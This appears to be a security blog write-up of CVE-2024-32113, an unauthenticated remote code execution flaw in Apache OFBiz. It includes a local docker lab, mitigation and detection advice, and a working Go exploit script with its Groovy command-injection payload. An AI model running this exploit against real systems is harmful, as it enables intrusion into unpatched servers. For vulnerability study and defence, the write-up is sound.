Overview
Apache OFBiz, an open source Enterprise Resource Planning (ERP) system, was found to contain a critical remote code execution vulnerability in its password reset functionality. The vulnerability, tracked as CVE-2024-32113, allows unauthenticated attackers to execute arbitrary system commands through a specially crafted request to the forgotPassword endpoint.
Technical Details
The vulnerability exists in the forgotPassword endpoint's handling of the ProgramExport feature. Let's analyze the key components that make this vulnerability possible:
Vulnerable Endpoint
/webtools/control/forgotPassword;/ProgramExport
The interesting aspect here is the path traversal using `;` to access the ProgramExport functionality through the forgotPassword endpoint. This bypasses authentication controls that would normally protect the ProgramExport feature.
Exploitation Method
The vulnerability can be triggered by sending a POST request with a specifically crafted payload:
groovyProgram=throw new Exception('<command>'.execute().text);
This payload abuses Groovy's scripting capabilities to:
Execute a system command using the `execute()` method
Capture the output in the `text` property
Wrap it in an Exception to force the output into the error message
Extract the command output from the error response
Proof of Concept
To build a PoC lab in our local environment for CVE-2024-32113, we can use the vulhub's hosted docker image of version 18.12.10 (since this vulnerability lies in versions before 18.12.13 only).
docker run -it -e OFBIZ_DATA_LOAD=demo --name ofbiz-docker -p 8443:8443 vulhub/ofbiz:18.12.10
This will host the vulnerable app on port 8443 in our local network. The application takes a few minutes to initialize completely. You can monitor the startup process using:
docker logs -f ofbiz-docker
To exploit CVE-2024-32113, we'll use a Go script that sends specifically crafted requests to the vulnerable endpoint.
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"net/http"
"os"
"regexp"
"strings"
"time"
)
type TargetScanner struct {
target string
command string
timeout time.Duration
}
func NewTargetScanner(target, command string) *TargetScanner {
return &TargetScanner{
target: target,
command: command,
timeout: 5 * time.Second,
}
}
func (ts *TargetScanner) prepareTarget() string {
if !strings.HasPrefix(ts.target, "http://") && !strings.HasPrefix(ts.target, "https://") {
return "http://" + ts.target
}
return ts.target
}
func (ts *TargetScanner) scanTarget() {
target := ts.prepareTarget()
endpoint := fmt.Sprintf("%s/webtools/control/forgotPassword;/ProgramExport", target)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{
Transport: tr,
Timeout: ts.timeout,
}
payload := fmt.Sprintf("groovyProgram=throw new Exception('%s'.execute().text);", ts.command)
req, err := http.NewRequest("POST", endpoint, strings.NewReader(payload))
if err != nil {
fmt.Printf("Error creating request: %v\n", err)
return
}
req.Header.Set("User-Agent", "Mozilla/999.0 (Windows 3200; Win x12400) Chrome/888.0.7.2 Safari/537.36")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("[FAILED] %s - Error: %v\n", target, err)
return
}
defer resp.Body.Close()
scanner := bufio.NewScanner(resp.Body)
var response strings.Builder
for scanner.Scan() {
response.WriteString(scanner.Text())
}
re := regexp.MustCompile(`java\.lang\.Exception:(.*)`)
if matches := re.FindStringSubmatch(response.String()); len(matches) > 1 {
result := strings.TrimSpace(matches[1])
result_trimmed := strings.Split(result, "</p>")
fmt.Printf("[SUCCESS] %s - %s\n", target, result_trimmed[0])
} else {
fmt.Printf("[FAILED] %s\n", target)
}
}
func main() {
target := flag.String("t", "", "Target URL")
command := flag.String("c", "id", "Command to execute")
flag.Parse()
if *target == "" {
fmt.Println("Error: -t (target URL) is required")
flag.Usage()
os.Exit(1)
}
scanner := NewTargetScanner(*target, *command)
scanner.scanTarget()
}
This proof-of-concept script looks for command output in the server's error response using this regex pattern:
java\.lang\.Exception:(.*)
This pattern extracts the command output from the Exception message that contains our executed command's results.
When running against a vulnerable instance, you should see output like:
Impact
The vulnerability has severe implications:
Unauthenticated remote code execution
Full system access with application service account privileges
No special tools required - can be exploited with standard HTTP requests
Affects default installations
Mitigation
Organizations running Apache OFBiz should:
Update to the latest patched version immediately
Implement WAF rules to block requests containing `;/ProgramExport`
Monitor for suspicious POST requests to the forgotPassword endpoint
Consider implementing network segmentation to limit the blast radius of potential compromises
Detection
Security teams can monitor for exploitation attempts by looking for:
POST requests to `/webtools/control/forgotPassword` containing `;/ProgramExport`
The presence of `groovyProgram=` parameters in POST data
Unexpected system command execution from the OFBiz service account
Responsible Disclosure
This vulnerability was responsibly disclosed to the Apache Security Team and patched before public disclosure. Organizations should stay up-to-date with security bulletins and implement patches promptly.
Conclusion
CVE-2024-32113 demonstrates the importance of:
Proper authentication enforcement across all application endpoints
Careful handling of user-supplied input in scripting engines
Regular security assessments of critical business applications
Prompt patch management for enterprise systems
The vulnerability serves as a reminder that even well-established enterprise applications can contain critical security flaws. Organizations should maintain strong security practices and stay vigilant with their patch management processes.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-32113 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.